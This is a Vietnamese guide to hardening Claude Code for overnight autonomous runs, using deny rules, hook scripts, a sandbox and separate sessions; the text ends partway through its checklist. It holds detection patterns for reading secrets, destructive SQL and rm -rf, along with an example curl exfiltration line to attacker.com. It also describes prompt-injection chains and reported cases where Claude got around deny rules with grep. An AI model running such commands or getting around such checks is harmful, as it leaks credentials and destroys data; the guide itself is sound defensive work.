Cách cấu hình Claude Code để dự án của bạn không gặp sự cố qua đêm
Markdown7 hook, settings.json với quyền truy cập và danh sách kiểm tra 12 điểm để Claude Code làm việc qua đêm mà không làm mất .env hoặc cơ sở dữ liệu. Bảo vệ theo 4 lớp.
Đọc toàn bộ bài viết
Tài liệu Ailoot — tài liệu tham khảo để sử dụng dịch vụ.
Điều gì thay đổi trong năm 2026: Claude Code tự hành và các sự cố thực tế
Điểm chính
Năm 2026, Anthropic triển khai auto-mode, /loop và /schedule—giờ đây Claude Code có thể làm việc hàng giờ mà không cần xác nhận. Cái giá của quyền tự chủ là những sự cố có thật: cơ sở dữ liệu production bị xóa, .env bị lộ và lỗi trong permissions.deny vẫn chưa được khắc phục. Hướng dẫn này trình bày 4 lớp bảo vệ cần thiết lập trước lần chạy qua đêm đầu tiên.
Trước đây, Claude Code dừng lại sau mỗi câu trả lời và hỏi quyền cho từng thao tác ghi. Điều đó bất tiện nhưng an toàn: bạn không thể ngủ quên khi có sự cố vì tác nhân sẽ chờ bạn trả lời “có”. Năm 2026, mô hình đó đã thay đổi. Anthropic triển khai auto-mode—một tác nhân phân loại riêng sẽ quyết định thay bạn có cho phép từng hành động hay không. Lệnh /loop xuất hiện (chạy một câu lệnh theo các khoảng thời gian trong một phiên), cùng với /schedule (lập lịch kiểu cron cho các tác vụ chạy dài). Các phiên nền khởi chạy bằng claude --bg chạy tác nhân trong nền mà không cần terminal. Tôi đã trình bày chi tiết chế độ tự hành trong hướng dẫn “/goal trong Claude Code: Chế độ tự hành và Agent View”.
Vấn đề là quyền tự chủ được triển khai nhanh hơn các biện pháp bảo mật.
Cách đây vài tuần, tôi bảo nó “dọn dẹp”, cuối cùng nó xóa cả cơ sở dữ liệu production lẫn dev của tôi.
Đồng thời, có hai lỗi đang mở trong kho mã của Anthropic mà bạn nên biết trước khi thêm permissions.deny vào settings.json:
- Issue #44868 (ngày 7 tháng 4 năm 2026): Claude Code đọc nội dung
.envbằnggrep -nvào bản ghi hội thoại, bất chấp lệnh cấm rõ ràng trongCLAUDE.md. Lỗi vẫn đang mở. - Issue #24846 (ngày 11 tháng 2 năm 2026): các quy tắc
permissions.read.denycho mẫu.env*không được áp dụng—Readđọc.env.localdù có mẫu deny chính xác. Issue được đóng vì trùng lặp, nhưng chưa được khắc phục.
Hai khoảng trống cho thấy một lớp settings.json chưa đủ. Mô hình bốn lớp gồm permissions + hooks + sandbox + tách phiên. Mỗi lớp giảm phơi lộ nhưng không làm lớp khác đầy đủ. Đánh giá auto-mode được dẫn không chứng minh regex hook bắt phần bỏ sót. Production cần môi trường OS cách ly không credential hoặc quyền ghi production, hạn chế mạng ngoài mô hình và thử ranh giới trước chạy không giám sát.
Vùng xanh và vùng đỏ của dự án là gì?
Điểm chính
Vùng xanh: dự án cục bộ không có khách hàng thực hoặc tiền thật. Vùng đỏ: bất cứ thứ gì có cơ sở dữ liệu production, thanh toán hoặc dữ liệu cá nhân. Trong vùng xanh, bạn có thể dùng auto-mode với số hook tối thiểu. Trong vùng đỏ, cần đủ 4 lớp bảo vệ và cấm về mặt kiến trúc --dangerously-skip-permissions.
Không có ích gì khi xây dựng cùng một mức bảo vệ cho mọi dự án. Một dự án cá nhân cục bộ trên máy bạn, chưa triển khai ra bên ngoài, có mức rủi ro hoàn toàn khác với dịch vụ xử lý thanh toán thật và lưu dữ liệu khách hàng. Nếu dùng cùng mức bảo vệ ở mọi nơi, bạn sẽ làm chậm vùng xanh mà vẫn để lại lỗ hổng ở vùng đỏ.
Dự án chuyển từ xanh sang đỏ ngay khi đáp ứng ít nhất một trong ba điều kiện: có khách hàng thực, tiền bắt đầu luân chuyển qua hệ thống hoặc cơ sở dữ liệu chứa dữ liệu cá nhân. Cho đến lúc đó, bạn có thể dùng auto-mode, số hook tối thiểu và không cần sandbox. Sau đó, phải xây dựng lại lớp bảo vệ theo cấu hình đầy đủ trong hướng dẫn này.
Nguyên tắc chính: mức bảo vệ phụ thuộc vào vùng. Giai đoạn phát triển không quan trọng. Dự án cá nhân trên máy bạn với tài khoản Stripe thử nghiệm thuộc vùng xanh. Dịch vụ có một khách hàng trả tiền và biểu mẫu đăng ký đã thuộc vùng đỏ, dù trông vẫn như một “bản nháp”. Nhầm lẫn hai vùng này là cái bẫy phổ biến ở các dự án giai đoạn đầu: “vẫn đang là bản nháp, sau này sẽ thêm bảo vệ”, rồi tuần sau khách hàng đầu tiên thanh toán.
Phân cấp quyền trong settings.json hoạt động thế nào?
Điểm chính
Trong settings.json, quy tắc deny luôn ưu tiên hơn allow, còn các phạm vi (user → project → local → managed) được hợp nhất chứ không ghi đè. Quy tắc deny cấp user đối với .env, *.pem và ~/.ssh/** bảo vệ bạn ngay cả trong kho mã của người khác. Khóa disableBypassPermissionsMode cũng chặn YOLO mode ngay từ kiến trúc.
Anthropic mô tả thứ tự đánh giá quyền trong tài liệu chính thức: trước tiên kiểm tra quy tắc deny, sau đó ask rồi allow—quy tắc khớp đầu tiên sẽ được áp dụng. Điều này có nghĩa deny luôn ưu tiên hơn allow. Nếu bạn cấm đọc .env trong ~/.claude/settings.json và ai đó đặt allow trong .claude/settings.json của dự án, lệnh cấm của bạn sẽ có hiệu lực, không phải quyền của họ.
Ví dụ về ~/.claude/settings.json cấp user tối thiểu nhưng an toàn:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
Đoạn này làm gì? Sáu quy tắc đầu tiên chặn việc đọc tệp bí mật trong thư mục hiện tại và mọi thư mục con. *.pem và *.key là khóa SSL/TLS và khóa SSH. credentials*.json là tên tệp thường dùng của các nhà cung cấp đám mây. Ba quy tắc cuối là các thư mục hệ thống chứa khóa SSH, thông tin đăng nhập AWS và khóa GPG.
Khóa disableBypassPermissionsMode: "disable" chặn cờ --dangerously-skip-permissions (còn gọi là YOLO mode). Việc này loại bỏ vĩnh viễn một loại sai sót: ngay cả khi vô tình thêm cờ này vào script hoặc alias, Claude Code cũng sẽ từ chối chấp nhận. Nó không chỉ xóa cờ mà sẽ trả về lỗi “mode disabled by managed settings.”
Ngoài ra, kể từ phiên bản 2.1.142, khóa defaultMode: "auto" sẽ bị bỏ qua nếu nằm trong cài đặt project hoặc local. Điều này bảo vệ bạn khỏi tình huống “tôi vào kho mã của người khác và .claude/settings.json của họ bật chế độ tự động theo mặc định.” Anthropic tuyên bố rõ rằng kho mã không thể bật auto-mode khi chưa có sự đồng ý của người dùng.
Đây là lớp bảo vệ đầu tiên. Bạn không thể dừng ở đây vì nó có hai lỗ hổng sẽ được trình bày ở phần tiếp theo.
Vì sao permissions.deny chưa đủ: 2 issue GitHub còn mở
Điểm chính
Tháng 4 năm 2026, một người dùng tạo issue #44868 trong kho mã của Anthropic: Claude đọc .env qua grep -n và in nội dung vào bản ghi, bất chấp lệnh cấm trong CLAUDE.md. Tháng 2, issue #24846 báo rằng permissions.read.deny cho .env* không hoạt động ở cấp công cụ Read. Cả hai vẫn đang mở, và đều cho thấy settings.json không có hook bổ sung giống như một cái rây thủng.
Nếu permissions.deny hoạt động thì hướng dẫn có thể kết thúc ở phần trước. Nhưng nó không hoạt động như mong đợi.
Issue #44868 (ngày 7 tháng 4 năm 2026): người dùng đã thêm lệnh cấm rõ ràng trong CLAUDE.md đối với việc đọc .env, .dev.vars và các tệp khác chứa bí mật. Thay vì dùng Read, Claude chạy grep -n SOMETHING .env. Lệnh grep -n in toàn bộ dòng khớp cùng số dòng—bao gồm token API thật. Dòng đó đi vào tool_result, được hiển thị trong bản ghi phiên và lưu vào lịch sử.
Điểm tinh tế mà tác giả lưu ý: phản xạ an toàn của mô hình chỉ xuất hiện sau khi đầu ra đã được tạo, chứ không phải trước khi lệnh chạy. Nói cách khác, Claude chạy grep trước, nhận được một dòng có chứa token rồi in nó vào đoạn chat—chỉ sau đó mới nhận ra lỗi và “xin lỗi”. Lúc đó token đã nằm trong lịch sử trò chuyện. Cách khắc phục duy nhất là xoay vòng khóa.
Issue #24846 (ngày 11 tháng 2 năm 2026): người dùng cấu hình permissions.read.deny với danh sách gồm mẫu **/.env*. Sau đó, họ yêu cầu Claude đọc .env.local. Công cụ Read hoàn tất không báo lỗi và in nội dung tệp.
Issue được đóng vì trùng lặp, nhưng chưa được khắc phục. Tại thời điểm viết hướng dẫn này (tháng 6 năm 2026), lỗi vẫn có thể tái hiện.
Lớp 1 trong settings.json hữu ích, nhưng các ví dụ không đo tỷ lệ đọc nhầm nó ngăn. Nhưng nó không ngăn lệnh qua Bash (cat .env, grep API_KEY .env, head .env), lỗi thực thi (issue #24846) hoặc các chuỗi lệnh khéo léo dùng git diff hay git show trên commit chứa .env. Vì vậy, bạn cần lớp thứ hai—hooks.
Hook chặn hành động nguy hiểm nhận diện được thế nào?
Điểm chính
Trong Claude Code, hook là script shell chạy tại các sự kiện cụ thể (PreToolUse, UserPromptSubmit, Stop) và có thể chặn hành động bằng mã thoát 2 hoặc JSON chứa permissionDecision: "deny". Khác với permissions và CLAUDE.md, hook là middleware: nó chặn một lệnh gọi trước khi thực thi mà không cần mô hình tham gia.
Hooks hoạt động ở mức trừu tượng khác với permissions. Permissions là những quy tắc mà mô hình cân nhắc khi quyết định làm gì. Hook hoạt động khác: mô hình quyết định gọi công cụ, hook chạy giữa mô hình và hệ thống, kiểm tra đầu vào rồi cho phép hoặc chặn. Mô hình không tham gia quyết định của hook—đó là mã shell do chính bạn viết.
Anthropic mô tả hành vi chặn trong tài liệu hooks chính thức:
Exit 2 nghĩa là lỗi chặn. Claude Code bỏ qua stdout và mọi JSON trong đó. Thay vào đó, văn bản stderr được gửi lại cho Claude dưới dạng thông báo lỗi.
Điều này có hai ý nghĩa. Thứ nhất, hook chặn cấu hình đúng có thể deny lời gọi khớp. Với PreToolUse, exit 2 chặn lời gọi đó; không chứng minh script nhận mọi lệnh nguy hiểm tương đương. Thứ hai, bạn có thể đặt thông báo có ý nghĩa vào stderr để Claude đọc như lỗi và thử cách khác. Nói cách khác, hook không chỉ là “hàng rào” mà là “hàng rào có biển báo giải thích vì sao bạn không thể đi qua”.
Các sự kiện có thể bị chặn bằng exit 2:
PreToolUse—chặn lệnh gọi công cụ trước khi thực thi. Đây là sự kiện chính cho hook phòng vệ.PermissionRequest—từ chối quyền thực hiện hành động mà Claude yêu cầu.UserPromptSubmit—chặn và xóa câu lệnh của người dùng. Hữu ích nếu câu lệnh chứa văn bản đáng ngờ (ví dụ: prompt injection từ email được cài cắm).Stop—ngăn Claude kết thúc phiên. Có thể dùng như một “vòng lặp” để giữ tác nhân làm việc cho đến khi đạt điều kiện.PreCompact—chặn việc tự động nén ngữ cảnh. Hữu ích nếu bạn muốn giữ nguyên bản ghi cho đến khi có quyết định thủ công.WorktreeCreate—từ chối tạo worktree. Bảo vệ khỏi việc Claude cố sao chép kho mã đến nơi không mong muốn.
Một lựa chọn khác ngoài mã thoát 2 là trả về JSON có trường hookSpecificOutput.permissionDecision. permissionDecision có bốn giá trị khả dĩ:
allow—cho phép hành động một cách rõ ràng, bỏ qua luồng quyền tiêu chuẩn.deny—chặn hành động, tương đương exit 2 đối với PreToolUse.ask—chuyển câu hỏi cho người dùng (một hộp thoại sẽ xuất hiện).defer—chuyển quyết định cho logic quyền thông thường.
Nhờ vậy, hook kiểm soát được nhiều hơn mã thoát. Với permissionDecision: "ask", bạn có thể biến thao tác vốn diễn ra im lặng thành thao tác cần xác nhận mà không chặn hoàn toàn. Tôi dùng cách này cho npm install <new package> và các thay đổi lockfile.
Nếu muốn tìm hiểu thêm về cách hooks hoạt động và 31 sự kiện hiện có trong Claude Code, tôi đã trình bày trong hướng dẫn riêng “Hooks trong Claude Code: 7 quy tắc sẵn sàng sao chép”. Tiếp theo là các hook cụ thể cho công việc tự hành.
Tôi dùng 7 hook nào cho công việc qua đêm?
Điểm chính
Hook PreToolUse minh họa bảy tình huống: gắn cờ một số đọc bí mật, chặn git push tường minh nhận diện được, lọc mẫu SQL/rm -rf chọn, xem cài package/đổi manifest và log lời gọi khớp. Thử match/miss cục bộ trước bật. Regex chưa đầy đủ, không xác lập ranh giới bảo mật production.
Đây là lớp bảo vệ thứ hai, hỗ trợ lớp đầu tiên. Tất cả hook nằm trong .claude/hooks/, được đăng ký qua .claude/settings.json và yêu cầu đã cài jq.
Hook 1: Bảo vệ .env, .pem và credentials.json khỏi bị đọc
Thêm kiểm cho đường Read chọn và lệnh Bash đọc bí mật thường gặp; không bắt mọi công cụ hoặc mọi cách đọc bí mật. Tệp: .claude/hooks/block-secret-reads.sh:
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Công cụ Read với đường dẫn đáng ngờ
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash đọc bí mật qua cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
Đăng ký trong .claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
Sau khi cài đặt, chạy chmod +x .claude/hooks/block-secret-reads.sh. Kiểm tra: yêu cầu Claude đọc .env.local—bạn sẽ nhận được phản hồi “Secret file. Use op:// references or env vars.” thay vì nội dung tệp.
Hook 2: Chặn lệnh git push tường minh trong phiên qua đêm
Với phiên không giám sát, ví dụ này thận trọng chặn mọi git push tường minh nhận diện được, gồm nhánh feature. Không suy nhánh hiện tại hay quyết force flag an toàn. Tệp .claude/hooks/block-force-push.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
Đăng ký PreToolUse với matcher Bash. Vì chặn lệnh push nhận diện thay phân tích cờ/nhánh, nó bắt git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main và push trong chuỗi && hoặc ;. Đây là ví dụ khớp chuỗi ngoại tuyến, không lệnh để chạy với remote.
Vẫn là heuristic văn bản: Git alias, shell function, git -C ... push, tên lắp ghép, script và công cụ khác có thể vượt; không parser shell đầy đủ. Cưỡng chế protected branch ở Git server, bỏ credential bypass và chạy không giám sát trong môi trường cách ly không quyền ghi production. Hook bỏ sót không được cấp quyền production.
Hook 3: Chặn các thao tác SQL phá hủy
Giải quyết trực tiếp sự cố mất cơ sở dữ liệu. Tệp: .claude/hooks/block-destructive-sql.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM không có WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE không có WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
Đăng ký: PreToolUse với matcher: "Bash". Lưu ý điểm khác biệt: DROP và DELETE không có WHERE bị chặn hoàn toàn, còn UPDATE không có WHERE chuyển thành ask—đôi lúc thao tác này có thể hợp lệ (ví dụ: đặt cờ cho toàn bộ bản ghi trong một migration), nhưng luôn cần xác nhận thủ công.
Hook 4: Bộ lọc rm -rf
Ví dụ chuẩn từ tài liệu Anthropic, được điều chỉnh để từ chối kèm lý do:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * mà không chỉ rõ phạm vi
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
Hook cho phép rm -rf node_modules, rm -rf .next/cache và các lệnh xóa có phạm vi chỉ định rõ ràng khác. Hook chặn rm -rf ., rm -rf /, rm -rf ~ và các lệnh “xóa sạch mọi thứ” tương tự.
Hook 5: Xác nhận cài package mới
Hook này chống lại các cuộc tấn công chuỗi cung ứng. Nếu Claude tự quyết định thêm phụ thuộc mới, hộp thoại xác nhận sẽ xuất hiện:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Cài phụ thuộc từ lockfile — cho phép
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Thêm package mới
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
Hook cho phép cài đặt từ lockfile tự do, trong khi việc thêm một phụ thuộc mới cần xác nhận.
Hook 6: Bảo vệ package.json và lockfile
Bất kỳ thay đổi nào đối với manifest phụ thuộc đều là dấu hiệu cần được kiểm tra. Đặc biệt là khi làm việc qua đêm.
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
Đăng ký với PreToolUse và matcher Write|Edit.
Hook 7: Nhật ký kiểm toán đầu cuối cho mọi lệnh gọi Bash
Nếu có sự cố qua đêm, bạn cần nhật ký đầy đủ để hiểu chuỗi sự kiện. Đăng ký trong settings.json (hook không cần script riêng; jq xử lý mọi việc):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
Tệp .claude/audit.jsonl tăng thêm từng dòng một. Buổi sáng, sau một phiên /loop qua đêm, bạn có thể chạy tail -n 100 .claude/audit.jsonl | jq để xem tác nhân đã làm gì ở từng thời điểm. Điều này rất quan trọng cho việc phân tích sau sự cố vì bản ghi phiên có thể dài và khó đọc, còn nhật ký kiểm toán cung cấp dòng thời gian rõ ràng.
Sandbox và cô lập worktree bảo vệ các phiên dài thế nào?
Điểm chính
Sandbox trong Claude Code là cơ chế cô lập hệ thống tệp và mạng. Anthropic báo cáo giảm 84% yêu cầu quyền truy cập mà vẫn giữ mức bảo mật tương đương. Cô lập mạng chặn việc đưa .env ra máy chủ từ xa, ngay cả khi tác nhân đã đọc được tệp. Với các phiên nền dài, sandbox + worktree là bắt buộc.
Nếu hook là “hàng rào có biển báo” thì sandbox là “hàng rào + hào nước + lưới drone”. Đây là lớp bảo vệ thứ tư, xử lý tình huống hook cho phép một hành động nhưng ngay cả việc thực thi hành động đó cũng không nên gây hại ra ngoài môi trường.
Trong bài đăng blog về sandbox (ngày 20 tháng 10 năm 2025), Anthropic báo cáo các phép đo nội bộ:
Theo dữ liệu nội bộ của chúng tôi, sandbox giúp giảm an toàn 84% lời nhắc xin quyền.
Điều đó có nghĩa khi bật /sandbox, Claude ngừng hỏi quyền cho 84% hành động vì các hành động đó về mặt vật lý không thể thoát khỏi sandbox. Điều này hữu ích cho tốc độ, nhưng không phải giá trị chính.
Sandbox cung cấp hai cấp độ cô lập, mỗi cấp có vai trò riêng:
Cô lập hệ thống tệp giới hạn việc đọc và ghi vào các thư mục được cho phép rõ ràng. Ngay cả khi hook bỏ sót nỗ lực ghi vào /etc/hosts hoặc đọc ~/.ssh/id_rsa, sandbox cũng không cho phép lệnh gọi hệ thống đó. Đây là bảo vệ ở cấp hệ điều hành. Tầng ứng dụng không thể can thiệp.
Cô lập mạng chỉ cho phép kết nối đến các máy chủ đã duyệt. Điều này rất quan trọng để chống tấn công đưa dữ liệu ra ngoài. Kịch bản: prompt injection trong một tệp được cài cắm khiến Claude đọc .env (hook bỏ sót vì việc đọc đi theo đường bất thường), sau đó mô hình quyết định chạy curl -X POST attacker.com -d "$ENV_CONTENT". Không có cô lập mạng, việc này sẽ thành công. Có cô lập mạng, curl không thể truy cập attacker.com vì máy chủ đó không có trong danh sách.
Khởi chạy bằng lệnh /sandbox bên trong Claude Code. Cấu hình trong ~/.claude/settings.json:
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
Với các phiên nền dài được khởi chạy bằng claude --bg, hãy thêm cô lập worktree vào sandbox. Đây là cơ chế tích hợp sẵn của Claude Code: mỗi phiên nền tự động được chuyển vào .claude/worktrees/<name>/ riêng trên một nhánh riêng. Nhờ vậy, các phiên song song không can thiệp lẫn nhau khi ghi vào cùng tệp. Tôi đã trình bày chi tiết việc cô lập worktree trong hướng dẫn “Agent View và Worktrees: Chế độ tự hành của Claude Code”.
Hãy cho Claude cách kiểm tra công việc của mình.
Sandbox là một phần của vòng phản hồi. Khi biết hành động của mình bị giới hạn, Claude làm việc cẩn trọng hơn và trình bày rõ hơn các bước trung gian.
Năm 2026, auto-mode hoạt động ở đâu và không hoạt động ở đâu?
Điểm chính
Auto-mode trong Claude Code là bộ phân loại Sonnet 4.6 thay thế quyền thủ công bằng quyết định tự động dựa trên các quy tắc của Anthropic. Theo chính Anthropic, tỷ lệ âm tính giả đối với hành động nguy hiểm là 17%, và phiên sẽ dừng sau 3 lần bộ phân loại từ chối liên tiếp hoặc tổng cộng 20 lần. Trong vùng xanh, đây là giải pháp thay thế hợp lý cho phê duyệt thủ công. Trong vùng đỏ, vẫn cần hooks.
Tháng 3 năm 2026, Anthropic triển khai auto-mode như “một lựa chọn trung gian giữa rà soát thủ công và không có rào chắn”. Đây là mô hình Sonnet 4.6 riêng đánh giá từng hành động của Claude theo một bộ tiêu chí trước khi thực thi. Anthropic mô tả cơ chế này trong blog Anthropic Engineering:
Auto-mode là chế độ Claude Code mới chuyển việc phê duyệt cho các bộ phân loại dựa trên mô hình. Đây là lựa chọn trung gian giữa rà soát thủ công và không có rào chắn.
Auto-mode có hai giới hạn quan trọng:
- Nếu một phiên có 3 lần bộ phân loại từ chối liên tiếp hoặc tổng cộng 20 lần, mô hình sẽ dừng và chuyển vấn đề cho con người. Điều này ngăn tình huống “Claude lặp đi lặp lại, thử vượt giới hạn bằng 100 cách diễn đạt khác nhau của cùng một lệnh”.
- Auto-mode cho phép một hành động nếu nó tương tự 93% các trường hợp thường được người dùng chấp thuận. Điều này giảm mệt mỏi do yêu cầu quyền, nhưng không bảo vệ khỏi các hành động nguy hiểm bất thường.
Và đây là con số chính cần chú ý:
Tỷ lệ âm tính giả 17% trên các hành động quá mức có thật—đó là con số trung thực.
17% là tỷ lệ âm tính giả của đánh giá đó, không xác suất mọi hành động dự án. Nó không xác lập hook mẫu bắt phần bỏ. Vùng đỏ cần cách ly cưỡng chế với ghi production và bí mật, protected branch phía server và credential không bypass được.
Dùng hook như kiểm bổ sung trong môi trường bỏ được và phục hồi được. Dự án local cũng có tệp untracked, credential Git không cứu. Vùng đỏ cần quyền truy cập thật chứa việc hook bỏ; bộ regex không biến shell tùy ý thành bảo đảm an toàn xác định.
Vì sao nên tách ngữ cảnh thành ba loại phiên?
Điểm chính
Chuỗi nguy hiểm nhất gồm ba lệnh thông thường liên tiếp, chứ không phải một lệnh xấu. Tác nhân đọc .env (hợp lệ), phân tích email đến (hợp lệ) rồi gửi yêu cầu HTTP ra bên ngoài (hợp lệ). Mỗi hành động riêng lẻ đều an toàn; kết hợp lại, chúng trở thành hành vi đưa dữ liệu ra ngoài. Cách bảo vệ là tách ba loại tác vụ thành các phiên riêng với quyền khác nhau.
Không bao giờ nên để ba loại tác vụ này trong cùng một phiên:
Loại 1: làm việc với dữ liệu cá nhân. Phiên có quyền truy cập cơ sở dữ liệu production, có thể gửi email và xem thông tin đăng nhập. Phiên KHÔNG có quyền truy cập tài liệu bên ngoài (email, PDF, trang web) và KHÔNG THỂ gửi dữ liệu đến địa chỉ bất kỳ.
Loại 2: xử lý tài liệu bên ngoài. Phiên có thể phân tích email đến, tải trang web và đọc PDF trong email. Phiên KHÔNG có quyền truy cập cơ sở dữ liệu chứa dữ liệu cá nhân và KHÔNG THỂ gửi bất cứ thứ gì ra ngoài nếu chưa được xác nhận rõ ràng.
Loại 3: xuất bản ra bên ngoài. Phiên có thể đăng trên mạng xã hội, gửi chiến dịch email và tạo pull request. Phiên KHÔNG có quyền truy cập dữ liệu cá nhân và KHÔNG phân tích nội dung đến.
Vì sao cần tách? Nếu một phiên làm mọi việc, chỉ cần một prompt injection trong PDF được cài cắm (một công ty đối thủ gửi “hóa đơn”) là đủ để tác nhân đọc cơ sở dữ liệu khách hàng, tìm email của họ và gửi đến địa chỉ của kẻ tấn công chỉ trong một lượt. Mỗi hành động trong chuỗi này đều hợp lệ nếu xét theo loại tác vụ riêng. Kết hợp lại, chúng tạo thành một vụ rò rỉ.
Mẫu đưa dữ liệu ra ngoài đáng sợ nhất không phải một lệnh xấu. Đó là một chuỗi lệnh hoàn toàn bình thường. Tác nhân đọc
.env(được phép), gửi nó qua HTTP (được phép), thế là xong.
Trong thực tế, cách này được triển khai bằng các thư mục .claude khác nhau cho từng loại tác vụ. Tôi giữ ba cấu hình trên máy mình: ~/projects/business-ops/.claude/ (loại 1, quyền truy cập cơ sở dữ liệu, từ chối mạng trừ các API nội bộ), ~/projects/inbox-parsing/.claude/ (loại 2, từ chối toàn bộ mạng), ~/projects/social-posting/.claude/ (loại 3, cho phép mạng với API Telegram, Slack). Mỗi thư mục là một dự án riêng cho Claude Code với permissions và hooks riêng.
Tôi rà soát 12 mục nào trước /loop?
Điểm chính
Danh sách kiểm tra 12 điểm tôi rà soát trước khi khởi chạy /loop, /schedule hoặc claude --bg qua đêm. Danh sách trải từ ~/.claude/settings.json với lệnh deny cơ bản đến /sandbox có cô lập mạng. Nếu thiếu dù chỉ một mục, tôi sẽ không khởi chạy.
~/.claude/settings.jsoncódenycấp user cho.env*,*.pem,*.key,credentials*.json,~/.ssh/**,~/.aws/**. Đây là nền tảng; nếu thiếu thì các mục còn lại đều vô ích.disableBypassPermissionsMode: "disable"trong~/.claude/settings.json. Chặn vĩnh viễn cờ YOLO.Mẫu
block-secret-reads.shđã thử trên một số lệnh đọc bí mật; bí mật thật và credential production không tới được từ môi trường không giám sát.Mẫu
block-force-push.shchặn push tường minh nhận diện được bất kể thứ tự cờ hoặc đích; Git server cưỡng chế protected branch và credential không bypass.Hook
block-destructive-sql.shchoDROP TABLE,TRUNCATEvàDELETE FROMkhông cóWHERE.Hook
block-rm-rf.shchorm -rfkhông chỉ rõ phạm vi.Hook
ask-on-new-deps.shchonpm install <new package>(khác vớinpm installkhông có đối số).Hook
ask-on-lockfile-change.shcho thao tác ghi vàopackage.json,pnpm-lock.yaml,requirements.txt,pyproject.tomlvàCargo.toml.Nhật ký
audit.jsonlbắt mọi lệnh gọi Bash, Write và Edit. Nếu thiếu, không thể phân tích sau sự cố.Tất cả phiên nền dài chạy trong worktree, không chạy trên nhánh main:
claude --bg "task"tự động tạo worktree, nhưng hãy kiểm trasettings.jsonkhông cóworktree.bgIsolation: "none".Chạy
